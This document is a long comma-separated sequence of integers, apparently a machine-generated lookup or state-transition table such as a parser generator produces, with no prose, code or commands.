0,0,0,0,0,0,745,368,368,0,0,704,0,0,0,0,0,0,0,711,0,0,0,0,0,750,0,0,0,0,645,0,0,0,0,0,0,0,6299648,0,0,0,0,0,0,0,0,0,777,0,0,781,0,0,0,0,0,0,0,789,0,0,0,0,0,0,2807,0,0,0,0,0,0,0,0,0,2310,0,0,0,0,0,0,793,0,0,0,0,0,0,0,797,0,0,0,0,0,0,0,0,557056,557056,0,0,0,0,0,0,0,833,793,0,0,0,0,0,837,838,0,0,0,0,793,528,528,0,57893,57893,57893,57893,57893,57893,155942,1151,0,0,1155,0,0,0,0,2295,0,1160,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1759,528,847,851,528,528,863,528,528,528,879,528,884,528,892,528,895,528,528,909,528,57893,57893,57893,58266,58270,57893,57893,58282,57893,57893,57893,58298,57893,58303,57893,58311,57893,58314,57893,57893,58328,57893,0,57916,57916,57916,58342,58346,57916,57916,58358,57916,57916,57916,58374,57916,58379,57916,58387,57916,58390,57916,57916,58404,57916,0,0,0,0,58303,57943,57943,57943,58417,58421,57943,57943,58433,57943,57943,528,528,528,57893,57893,57893,0,0,3655,0,3657,0,0,0,0,0,2356,0,2358,0,0,0,0,0,0,0,0,0,5693440,0,6496256,5144576,5136384,0,5914624,57943,58449,57943,58454,57943,58462,57943,58465,57943,57943,58479,57943,847,851,1141,895,1159,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,747,0,0,0,1320,0,0,0,0,0,0,0,0,0,0,0,0,368,302,0,0,528,528,528,1411,528,528,528,528,528,528,528,528,528,528,528,528,528,2470,528,528,0,0,1809,0,0,0,0,0,0,0,0,0,0,0,0,0,1842,0,0,1832,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1201,1885,0,0,1886,0,0,0,0,528,528,528,528,528,528,528,528,528,528,3225,528,528,528,1899,528,528,528,528,528,528,528,528,528,1912,528,528,528,0,0,57893,60609,57893,57893,57893,57893,57893,57893,57893,57893,57893,61085,57893,57893,57893,57893,57893,57893,528,528,528,528,58773,1985,57893,57893,57893,57893,57893,59336,57893,57893,57893,57893,57893,58822,57893,57893,57893,57893,58827,57893,57893,57893,57893,57893,58319,57893,57893,57893,57893,0,57916,57916,58341,57916,57916,57893,59342,57893,57893,57893,57893,57893,57893,57893,57893,57893,59355,57893,57893,57893,57893,57893,58859,57893,57893,57893,58866,57893,50676,58773,990,57916,57916,59442,57916,57916,57916,57916,57916,57916,57916,57916,57916,59455,57916,57916,57916,57916,57916,57916,60387,57916,57916,57916,57916,57916,57916,60394,57916,57916,57916,57916,57916,57916,59514,57916,57916,57916,57916,57916,57916,59520,57916,57916,57916,57916,57916,57943,61127,57943,57943,57943,61130,57943,57943,57943,57943,57943,57943,57943,60968,57943,57943,57943,57943,57943,57943,57943,57943,57943,60721,57943,57943,57943,57943,57943,57943,57943,57943,57943,59610,57943,57943,57943,57943,57943,57943,59616,57943,57943,57943,57943,57943,57943,57943,60982,60984,57943,57943,57943,57943,60988,57943,60990,0,0,2293,0,2294,0,0,0,0,0,0,0,0,0,2300,0,0,0,0,2806,0,0,0,0,0,2811,0,2813,2814,0,0,0,0,0,483328,0,0,0,0,0,0,0,0,0,0,801,0,0,0,0,0,0,2325,0,0,0,0,0,0,0,0,0,2334,0,0,0,0,0,0,2822,0,0,0,0,0,0,0,0,0,769,0,0,0,774,0,0,0,2407,0,0,0,0,0,0,0,0,0,0,0,0,0,0,702,528,2399,528,528,528,528,528,528,528,528,528,528,528,2429,528,528,2432,528,528,2475,528,528,528,528,528,528,528,528,528,528,528,528,528,528,2471,528,57893,57893,59863,57893,57893,57893,57893,57893,57893,59871,57893,57893,57893,57893,57893,57893,0,0,57916,57916,57916,57916,57916,57916,57916,57916,60351,57916,57916,57916,57916,57916,57916,57893,59891,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60640,57916,57916,57916,59949,57916,57916,59952,57916,57916,57916,57916,57916,57916,59960,57916,57916,57893,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,0,0,0,0,57916,57916,60017,57916,57916,57916,57916,57943,57943,57943,57943,57943,57943,57943,57943,57943,60417,57943,57943,57943,57943,57943,60032,57943,57943,60035,57943,57943,57943,57943,57943,57943,60043,57943,57943,528,528,528,57893,57893,57893,0,3654,0,0,0,0,0,0,0,1325,0,0,0,1329,0,0,0,0,57943,57943,60100,57943,57943,57943,57943,2760,528,528,528,528,60109,57893,57893,57893,0,0,0,0,57916,57916,57916,57916,57916,57916,57916,59945,57916,0,0,2781,0,0,0,0,0,0,0,0,0,0,0,0,0,1884,0,0,0,0,2794,0,0,0,0,0,2798,0,0,0,0,0,0,0,0,4784128,0,0,0,0,0,0,0,0,3181,0,0,0,0,0,3186,0,57893,60285,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60293,57893,57893,1,24578,3,155942,155942,296,0,0,0,0,0,302,303,0,57943,57943,60461,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,4075,0,4076,57943,60472,57943,57943,57943,57943,57943,528,528,528,528,528,57893,57893,57893,57893,57893,0,0,0,0,0,0,0,3150,0,0,0,0,0,0,0,0,0,0,0,0,0,2299,0,0,0,3160,0,0,0,0,0,0,0,0,0,0,0,0,3173,0,0,0,0,2820,0,0,0,2824,0,0,0,0,0,0,0,703,0,0,0,0,0,0,0,0,2331,0,0,0,0,0,0,0,0,3189,0,0,0,0,0,0,0,0,0,0,0,0,3202,3203,0,0,3215,0,528,528,528,528,528,528,528,528,528,528,528,3226,528,528,3230,528,528,528,528,528,528,528,528,528,528,3239,528,528,0,0,0,0,0,0,57893,57893,60279,57893,57893,57893,57893,57893,58320,57893,57893,57893,57893,0,57916,57916,57916,57916,57916,57943,57943,57943,57943,57943,57943,0,0,4289,0,528,60617,57893,57893,60621,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60630,57893,0,0,3137,3138,0,0,0,0,0,0,0,0,0,0,0,3199,0,0,0,0,57916,57916,57916,60666,57916,57916,60670,57916,57916,57916,57916,57916,57916,57916,57916,57916,58383,57916,57916,57916,57916,57916,57916,57916,60679,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,60687,57916,0,0,0,0,57893,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,528,528,528,57893,57893,57893,57943,57943,57943,57943,60715,57943,57943,60719,57943,57943,57943,57943,57943,57943,57943,57943,57943,59582,57943,57943,57943,57943,57943,57943,57943,57943,60728,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60736,0,3430,0,0,0,0,0,0,0,0,0,0,0,0,0,0,729,0,528,3495,528,528,528,528,528,528,528,528,528,528,528,528,528,528,528,2904,528,528,528,528,3512,528,3514,528,528,528,528,528,528,528,528,57893,57893,58259,57893,57893,57893,57893,57893,57893,58292,57893,57893,60879,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59389,57893,57893,57893,57893,60897,57893,60899,57893,57893,57893,57893,57893,57893,57893,57893,57893,59399,57893,57893,57893,57893,57893,57893,57916,60921,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57943,57943,57943,57943,57943,57943,60963,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60457,57943,528,4015,528,528,528,528,528,528,528,528,528,528,528,57893,61372,57893,302,306,0,0,0,0,0,0,0,0,0,0,0,0,0,1199,0,0,61374,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57916,61388,57916,0,0,0,0,57893,57943,57943,57943,57943,57943,57943,57943,57943,57943,58442,61390,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57943,61404,57943,528,2281,528,528,528,57893,59630,57893,57893,57893,2290,0,2291,0,0,0,0,0,262144,0,0,0,0,0,0,0,0,0,0,663,0,0,666,667,0,61406,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,0,0,0,0,0,0,528,4077,0,0,0,0,0,0,0,4084,0,0,528,528,528,528,4089,0,0,4148,0,4150,528,528,528,528,528,528,528,528,528,528,528,528,1399,528,528,528,0,0,0,313,314,315,0,0,0,0,0,0,0,0,0,0,1240,0,0,0,0,0,0,0,427,0,131072,0,0,0,0,427,0,0,0,0,0,427,459,0,0,0,459,459,459,459,459,459,459,459,459,459,459,459,523,459,523,523,523,459,523,523,523,523,523,523,530,57896,530,57896,530,530,57896,530,530,57919,57896,530,530,57896,57896,57896,57896,57946,57946,57896,57896,57896,57896,57946,57946,57896,621,57896,57973,57919,57896,57896,57896,57896,57896,57896,57896,57919,57919,57896,57896,57946,57896,57896,57896,57973,57973,1,24578,3,155942,155942,296,0,0,0,0,0,302,303,0,0,0,0,2830,0,0,0,0,0,0,0,0,0,0,0,680,681,0,0,0,57893,57893,58307,57893,57893,57893,57893,57893,57893,57893,0,57916,57916,57916,57916,57916,57916,57916,60350,57916,57916,57916,57916,57916,57916,57916,60915,57916,57916,57916,57916,57916,57916,57916,57916,58942,57916,57916,57916,57916,57916,57916,57916,57916,60389,57916,57916,57916,57916,57916,57916,57916,57943,57943,57943,57943,58458,57943,57943,57943,57943,57943,57943,57943,528,528,528,528,528,57893,57893,57893,57893,528,528,1965,528,528,528,528,528,528,1972,528,528,528,528,528,528,528,3501,528,3503,528,528,528,528,528,528,1360,528,528,528,528,528,528,528,528,528,2887,528,2889,528,528,528,528,57893,59408,57893,57893,57893,57893,57893,57893,59416,57893,57893,57893,57893,57893,57893,57893,58823,57893,57893,57893,57893,57893,57893,57893,57893,58840,57893,57893,57893,57893,57893,57893,57893,59508,57916,57916,57916,57916,57916,57916,59516,57916,57916,57916,57916,57916,57916,57916,57916,58909,57916,57916,57916,58912,57916,57916,57916,57893,57893,57893,60286,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,58814,57893,57893,57893,60408,57916,57916,57916,57943,57943,57943,57943,57943,57943,60414,57943,57943,57943,57943,60418,57943,57943,57943,60473,57943,57943,57943,528,528,528,528,528,57893,57893,57893,57893,57893,0,0,0,0,2292,528,528,528,4093,528,4095,528,528,4097,528,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,61077,57893,57893,57893,57893,61450,57893,61452,57893,57893,61454,57893,57893,57916,57916,57916,57916,57916,57916,58879,57916,57916,57916,57916,57916,58891,57916,57916,57916,57916,57916,61464,57916,61466,57916,57916,61468,57916,57916,57943,57943,57943,57943,57943,57943,60956,57943,57943,57943,57943,57943,60960,57943,57943,57943,57943,61478,57943,61480,57943,57943,61482,57943,57943,0,0,0,0,0,0,0,1766,0,0,1769,0,0,0,0,0,320,320,428,429,131072,436,429,437,439,428,436,437,0,316,437,455,460,473,473,473,486,486,486,486,486,486,486,486,486,486,508,508,521,521,522,522,508,522,522,522,508,522,522,522,522,522,522,531,57897,531,57897,531,531,57897,531,531,57920,57897,531,531,57897,57897,57897,57897,57947,57947,57897,57897,57897,57897,57947,57947,57897,622,57972,57972,57920,57897,57897,57897,57897,57897,57897,57897,57920,57920,57897,57897,57947,57897,57897,57897,57972,57972,1,24578,3,155942,155942,296,0,0,0,0,0,302,303,0,0,0,0,3151,0,0,0,0,0,3155,0,0,0,0,0,0,814,0,0,0,0,0,0,819,0,0,0,686,0,0,0,0,0,0,0,0,0,0,0,0,0,368,0,0,0,368,368,702,0,0,0,0,0,0,0,0,0,0,0,0,0,2315,0,0,0,0,0,734,0,0,0,0,0,0,0,0,0,0,0,0,368,303,0,0,0,823,0,0,0,0,0,0,0,0,0,0,0,0,0,0,775,0,0,1174,0,0,0,0,0,0,0,0,0,0,0,0,0,0,804,0,0,0,0,1216,1174,0,0,0,0,0,0,0,0,0,0,0,0,0,2336,0,0,0,0,0,1281,0,0,0,0,0,0,0,0,0,0,0,0,368,342,296,0,0,0,1295,0,0,0,0,0,0,0,0,0,0,0,0,0,2363,0,0,1307,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1229,58773,914,57893,57893,58777,57893,57893,58781,57893,57893,57893,57893,57893,57893,57893,57893,58808,57893,57893,57893,57893,57893,57893,57893,58795,57893,58800,57893,57893,58804,57893,57893,58807,57893,57893,57893,57893,57893,57893,57893,58838,57893,57893,57893,57893,57893,57893,57893,57893,58841,57893,57893,57893,57893,57893,57893,57893,58872,57916,57916,58876,57916,57916,57916,57916,57916,57916,57916,57916,58890,57916,58895,57916,0,0,0,0,57893,57943,57943,57943,57943,57943,57943,58428,57943,57943,58444,57916,58899,57916,57916,58902,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,59985,57916,57916,57916,1860,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1245,528,528,528,528,1902,528,528,528,528,528,528,528,528,528,1914,528,528,0,57893,57893,57893,57893,57893,57893,155942,1151,0,0,1156,0,0,0,0,327,327,377,0,0,0,0,0,0,0,0,0,1210,0,368,368,0,1213,0,1929,528,528,528,528,528,528,528,528,528,528,528,528,528,528,528,896,57893,57893,57893,59345,57893,57893,57893,57893,57893,57893,57893,57893,57893,59357,57893,57893,1,24578,3,155942,156282,296,0,0,0,0,0,302,303,0,57916,57916,59445,57916,57916,57916,57916,57916,57916,57916,57916,57916,59457,57916,57916,57916,57916,57916,59967,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57943,57943,57943,57943,61474,57943,59541,57943,57943,57943,57943,57943,57943,57943,57943,57943,59553,57943,57943,57943,57943,57943,57943,57943,61152,57943,57943,57943,57943,57943,57943,57943,528,528,528,2763,2764,57893,57893,57893,60112,57943,57943,57943,59591,59592,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59601,57943,57943,57943,57893,59917,59918,59919,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,58848,57893,57893,58852,57916,59989,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,60002,57943,60072,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60085,57893,57893,60325,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,58849,57893,57893,0,0,0,3216,528,528,528,528,528,528,528,528,528,528,528,528,528,2484,528,528,528,528,528,3243,528,528,528,528,528,528,528,528,528,528,528,528,528,2891,528,528,57893,57893,57893,57893,60634,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,0,2999,0,0,0,61125,57916,57916,57916,57916,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60962,528,528,4092,528,528,528,528,528,528,528,57893,61444,57893,61445,57893,57893,57893,2589,0,0,0,57916,57916,57916,57916,57916,57916,57916,57916,57916,61106,57916,57916,57916,57916,57916,57916,57916,57916,59954,57916,57916,59958,57916,57916,57916,59962,57893,61449,57893,57893,57893,57893,57893,57893,57893,57893,57916,61458,57916,61459,57916,57916,57893,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59540,57916,61463,57916,57916,57916,57916,57916,57916,57916,57916,57943,61472,57943,61473,57943,57943,528,528,1715,528,528,1718,57893,57893,59064,57893,57893,59067,1151,0,57943,61477,57943,57943,57943,57943,57943,57943,57943,57943,0,0,0,0,0,0,0,1814,0,0,0,0,0,0,0,0,528,1338,528,528,528,528,528,528,528,528,4291,57893,57893,57893,61637,57916,57916,57916,61639,57943,57943,57943,61641,0,0,0,0,3178,0,0,0,0,0,0,0,0,0,0,0,1312,0,0,0,0,326,327,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1186,0,0,0,377,0,131072,0,0,0,440,377,0,0,445,451,0,377,461,474,474,474,487,487,487,487,487,487,487,487,487,487,509,509,509,509,509,509,509,509,509,509,509,509,509,509,509,509,532,57898,532,57898,532,532,57898,532,532,57921,57898,532,532,57898,57898,57898,57898,57948,57948,57898,57898,57898,57898,57948,57948,57898,532,57898,57898,57921,57898,57898,57898,57898,57898,57898,57898,57921,57921,57898,57898,57948,57898,57898,57898,1,24578,3,155942,155942,296,0,0,0,0,0,302,303,0,1188,0,1190,1191,0,0,0,1193,1194,0,0,0,0,0,0,0,0,4997120,0,0,5038080,0,0,0,5095424,5103616,0,0,1232,1233,0,0,0,0,0,0,0,0,0,0,0,0,370,0,0,0,1263,1265,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1200,0,1317,0,0,0,0,0,0,0,0,0,1303,0,0,0,1331,1193,528,528,1390,528,528,1392,528,528,528,528,1397,528,528,528,528,528,528,3500,528,528,528,528,528,528,528,528,528,528,61443,57893,57893,57893,57893,57893,58773,914,57893,57893,58778,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,2588,2999,0,0,0,58831,57893,57893,57893,57893,58836,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,58811,58813,57893,57893,57893,57893,58873,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,60380,57916,58900,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,58928,57916,57916,58915,57916,57916,57916,57916,57916,57916,57916,58924,57916,57916,58926,57916,57916,57916,57916,57916,59980,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,61530,57916,57916,57943,57943,57916,58931,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,58950,57916,57916,57916,58956,57916,57916,57916,57916,0,58831,57943,57943,58967,57943,57943,57943,57943,57943,57943,60464,57943,57943,57943,57943,57943,57943,57943,57943,60470,57943,57943,57943,57943,59018,57943,57943,59020,57943,57943,57943,57943,59026,57943,57943,57943,528,528,57893,57893,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2778,1963,528,528,528,528,528,528,528,528,528,528,528,528,528,528,528,901,0,0,2293,0,2294,0,0,0,0,0,2297,0,0,0,0,0,0,316,317,318,319,320,321,322,323,324,325,57893,59862,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60650,57893,59878,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,58816,57893,59947,57916,57916,57916,57916,59951,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57943,57943,57943,57943,57943,61475,60015,57916,57916,57916,57916,57916,57916,57943,57943,57943,57943,57943,57943,57943,57943,57943,61133,57943,60030,57943,57943,57943,57943,60034,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60723,57943,57943,57943,60098,57943,57943,57943,57943,57943,57943,528,528,528,528,528,57893,57893,57893,57893,57893,0,0,0,1729,0,0,0,0,2844,0,0,0,0,0,2849,0,0,0,0,0,0,0,1852,0,0,0,0,0,0,0,1859,0,57916,57916,57916,60347,57916,60348,57916,57916,57916,57916,57916,57916,57916,57916,57916,58385,57916,57916,57916,57916,58403,57916,0,0,3205,0,0,0,0,0,0,0,0,0,0,0,0,0,2374,0,0,528,528,528,528,3253,528,528,528,528,528,528,528,528,528,528,528,528,1926,528,528,528,57916,60688,57916,57916,57916,57916,57916,57916,57916,60694,57916,57916,57916,57916,57916,57916,58906,58908,57916,57916,57916,57916,57916,57916,57916,57916,59451,57916,57916,57916,57916,57916,57916,57916,57916,59498,57916,57916,57916,57916,57916,57916,57916,57916,60672,57916,57916,57916,57916,57916,57916,57916,57943,57943,60737,57943,57943,57943,57943,57943,57943,57943,60743,57943,57943,57943,57943,57943,57943,57943,61339,57943,57943,57943,528,57893,0,0,0,0,0,0,3671,0,0,0,0,0,0,0,0,0,0,0,0,665,0,0,668,57916,61126,57916,57916,57916,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60961,57943,57916,57916,57916,61239,57916,57916,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60959,57943,57943,57943,57943,61258,57943,57943,528,528,57893,57893,0,0,0,0,0,0,0,0,0,0,0,0,2776,2777,0,528,528,528,528,4018,528,528,528,528,528,528,528,528,57893,57893,57893,57893,57893,57893,58280,57893,57893,57893,57893,57893,57893,57893,57893,61377,57893,57893,57893,57893,57893,57893,57893,57893,57893,57916,57916,57916,61223,57916,57916,57916,57916,57916,57916,61393,57916,57916,57916,57916,57916,57916,57916,57916,57916,57943,57943,57943,57943,60025,57943,57943,57943,57943,57943,57943,57943,61409,57943,57943,57943,57943,57943,57943,57943,57943,57943,0,0,0,4241,0,4243,528,528,528,528,528,4094,528,528,528,528,528,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59372,57893,57893,57893,61451,57893,57893,57893,57893,57893,57893,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,61318,57916,57916,57916,61465,57916,57916,57916,57916,57916,57916,57943,57943,57943,57943,57943,57943,61244,57943,57943,57943,57943,57943,57943,61479,57943,57943,57943,57943,57943,57943,0,0,0,0,0,0,0,1865,1866,0,0,0,1869,0,0,0,0,0,328,329,330,331,0,0,0,0,0,0,0,0,0,0,1855,1856,0,1857,1858,0,0,376,0,0,0,0,0,328,376,331,375,0,0,0,0,0,0,363,0,0,0,0,0,0,0,0,0,139264,147456,0,0,450560,0,0,0,331,0,0,0,0,0,0,376,0,0,0,0,0,0,0,0,5210112,0,5365760,0,5554176,5570560,5578752,0,462,475,475,475,488,488,488,488,499,501,488,488,499,488,510,510,510,510,510,525,510,510,510,525,510,510,510,510,510,510,533,57899,533,57899,533,533,57899,533,533,57922,57899,533,533,57899,57899,57899,57899,57949,57949,57899,57899,57899,57899,57949,57949,57899,533,57899,57899,57922,57899,57899,57899,57899,57899,57899,57899,57922,57922,57899,57899,57949,57899,57899,57899,1,24578,3,155942,155942,296,0,0,0,0,0,302,303,0,0,670,671,0,0,0,0,0,0,0,0,0,0,0,683,684,685,0,0,0,689,0,0,0,0,0,0,0,0,0,0,368,368,0,0,0,0,0,0,707,708,0,0,0,0,0,714,0,0,0,718,0,720,0,0,0,0,0,0,727,0,0,0,0,0,1163,0,0,0,0,0,0,0,0,0,0,6152192,0,0,0,6316032,0,731,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1292,778,779,0,0,0,0,0,0,0,0,788,0,790,0,0,0,0,0,1201,0,0,0,0,0,0,0,0,0,0,3675,0,0,0,3830,0,822,0,0,0,0,0,822,822,825,0,0,0,790,0,0,0,0,0,1235,0,1237,0,0,0,0,1242,0,0,0,0,0,1268,0,0,0,0,0,0,0,0,0,0,3675,0,0,3829,0,0,0,0,834,0,0,0,0,0,0,0,788,0,0,0,834,528,528,0,57893,57893,57893,57893,57893,57893,155942,1151,0,302,0,0,306,1,24578,3,0,0,4366336,0,0,0,0,0,65536,303,0,528,848,528,854,528,528,869,528,528,880,528,885,528,528,894,897,902,528,910,528,57893,57893,57893,58267,57893,58273,57893,57893,58288,57893,57893,58299,57893,58304,57893,57893,58313,58316,58321,57893,58329,57893,0,57916,57916,57916,58343,57916,0,0,0,0,57893,57943,57943,57943,57943,57943,57943,58430,57943,57943,57943,57943,57943,59547,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,61417,57943,0,0,0,58349,57916,57916,58364,57916,57916,58375,57916,58380,57916,57916,58389,58392,58397,57916,58405,57916,0,0,0,0,58304,57943,57943,57943,58418,57943,58424,57943,57943,58439,57943,1906,528,528,528,528,59349,57893,57893,57893,57893,0,0,0,0,0,3140,0,0,3143,3144,0,0,3147,3148,0,57943,58450,57943,58455,57943,57943,58464,58467,58472,57943,58480,57943,848,528,528,1142,902,528,0,57893,58267,57893,58492,58321,57893,155942,1151,0,0,0,0,0,0,364,365,366,367,0,0,368,0,296,0,0,0,0,1176,0,0,0,0,0,0,0,1183,0,0,0,0,0,0,3165,0,0,0,0,0,0,0,0,0,139264,147456,0,0,0,421,0,0,1203,1204,0,0,0,0,1208,0,0,0,368,368,0,0,0,0,0,0,0,0,0,0,0,0,713,0,0,1231,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1244,0,0,0,1248,0,0,1200,0,0,0,0,0,749,0,0,0,0,0,0,0,0,0,0,0,726,0,0,0,0,528,1347,528,528,528,528,528,528,1362,528,528,528,1367,528,528,528,528,528,2464,528,528,528,528,528,528,528,528,528,528,528,1910,528,528,528,528,58773,914,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,58786,57893,57893,57893,0,0,0,0,57916,57916,57916,57916,57916,57916,59944,57916,57916,57893,57893,57893,58801,57893,57893,57893,58806,57893,57893,57893,57893,57893,57893,57893,57893,58809,57893,57893,57893,57893,57893,57893,57893,57893,57893,58854,57893,57893,57893,57893,57893,57893,58865,57893,50676,58773,990,57916,57916,57893,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59537,57943,57943,528,1351,528,1408,528,528,58790,57893,57893,58847,57893,57893,1151,0,57916,57916,57916,58901,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,58391,57916,57916,57916,57916,57916,57916,58918,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,58396,57916,57916,57916,57916,57916,57916,58933,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,58949,57916,0,0,0,0,57893,57943,57943,57943,57943,57943,57943,58431,57943,57943,57943,57943,57943,60063,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60428,57943,60430,57943,57943,57943,57943,58975,57943,57943,57943,57943,57943,57943,58990,57943,57943,57943,58995,57943,2280,528,2282,528,528,59629,57893,59631,57893,57893,0,0,0,0,0,0,1298,0,0,0,0,1303,0,0,0,0,59055,57943,528,528,528,528,528,528,57893,57893,57893,57893,57893,57893,1151,1724,0,1760,0,0,1763,1764,1765,0,1767,1768,0,0,0,0,1773,0,0,0,0,3192,0,0,0,0,3197,0,0,0,0,0,0,0,2368,2369,0,0,0,0,0,0,0,692,0,0,0,0,0,0,699,368,1807,0,0,0,0,0,0,0,0,1816,1817,0,0,0,0,0,0,373,0,0,0,0,0,0,0,0,0,139264,147456,0,0,352256,0,0,0,1823,0,0,1825,0,0,0,0,0,0,0,0,1829,1830,1831,0,1870,0,0,0,1888,1740,1740,1890,528,1892,528,1893,1894,528,1896,528,528,528,1900,528,528,528,528,528,528,528,528,528,1913,528,528,0,0,0,0,0,0,57893,60278,57893,57893,57893,57893,57893,57893,0,2592,57916,57916,57916,57916,57916,57916,57916,57916,59969,57916,57916,57916,57916,57916,57916,59974,57916,528,528,1917,528,528,528,528,1921,528,1923,528,528,528,528,528,528,1393,528,1395,528,528,528,528,528,528,528,872,528,528,528,528,528,528,528,528,528,3710,528,528,528,528,528,528,528,528,528,528,1933,1934,1936,528,528,528,528,528,528,528,1944,1945,528,1947,528,528,1950,1951,528,528,528,528,528,528,528,1959,528,1961,528,1964,528,528,528,528,528,1971,528,528,1973,528,528,528,528,528,528,3855,528,528,528,528,528,57893,57893,57893,57893,57893,57893,58279,57893,57893,57893,57893,57893,528,528,528,528,58773,0,59332,57893,59334,57893,59335,57893,59337,57893,59339,57893,302,306,0,0,0,0,3141,0,0,0,3145,0,0,0,0,0,0,2832,0,0,0,0,0,0,0,0,0,2835,0,0,0,0,0,0,57893,57893,59343,57893,57893,57893,57893,57893,57893,57893,57893,57893,59356,57893,57893,57893,0,0,0,0,57916,57916,57916,57916,59942,57916,57916,57916,57916,57916,59515,57916,57916,59517,57916,57916,57916,57916,57916,57916,57916,0,57893,57943,57943,58966,57943,57943,58970,57943,57893,59360,57893,57893,57893,57893,59364,57893,59366,57893,57893,57893,57893,57893,57893,57893,58839,57893,57893,58846,57893,57893,57893,57893,57893,57893,57893,57893,59376,59377,59379,57893,57893,57893,57893,57893,57893,57893,59387,59388,57893,2770,2291,0,2771,2294,0,0,0,0,0,0,0,0,0,0,770,0,0,0,0,0,59390,57893,57893,59393,59394,57893,57893,57893,57893,57893,57893,57893,59402,57893,59404,57893,2770,2291,0,2771,2294,0,0,0,0,0,0,2775,0,0,0,0,0,784,0,0,679,0,0,0,0,0,0,0,660,661,0,0,0,0,0,0,0,384,0,139264,147456,0,406,0,0,406,59407,57893,57893,57893,57893,57893,59415,57893,57893,59417,57893,57893,57893,57893,57893,57893,0,0,57916,57916,57916,57916,60660,57916,57916,57916,57916,59443,57916,57916,57916,57916,57916,57916,57916,57916,57916,59456,57916,57916,57916,57916,57916,58878,57916,57916,57916,58882,57916,57916,58893,57916,57916,58897,59460,57916,57916,57916,57916,59464,57916,59466,57916,57916,57916,57916,57916,57916,57916,57916,59467,59468,57916,57916,57916,57916,57916,57916,57916,57916,59476,59477,59479,57916,57916,57916,57916,57916,57916,57916,59487,59488,57916,59490,57916,57916,59493,59494,57916,57916,57916,57916,57916,57916,57916,59502,57916,59504,57916,59507,57943,57943,57943,59560,57943,59562,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60987,57943,57943,57943,59572,59573,59575,57943,57943,57943,57943,57943,57943,57943,59583,59584,57943,57943,59586,57943,57943,57943,57943,57943,60731,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60081,57943,57943,57943,57943,57943,59589,59590,57943,57943,57943,57943,57943,57943,57943,59598,57943,59600,57943,59603,57943,57943,57943,57943,57943,60739,57943,57943,57943,60742,57943,60744,57943,57943,57943,57943,57943,57943,60740,57943,57943,57943,57943,57943,57943,57943,57943,57943,59023,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59611,57943,57943,59613,57943,57943,57943,57943,57943,57943,57943,57943,57943,60039,57943,57943,57943,57943,57943,57943,0,0,2293,0,2294,0,0,0,0,0,0,0,0,0,0,2301,0,0,2304,2305,0,0,0,2309,0,0,0,0,0,0,0,0,0,6406144,5357568,0,5505024,0,0,0,0,2352,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1276,0,1825,0,2365,0,0,0,0,0,0,0,0,2372,0,0,2375,0,0,0,0,3217,528,528,528,528,528,528,528,528,528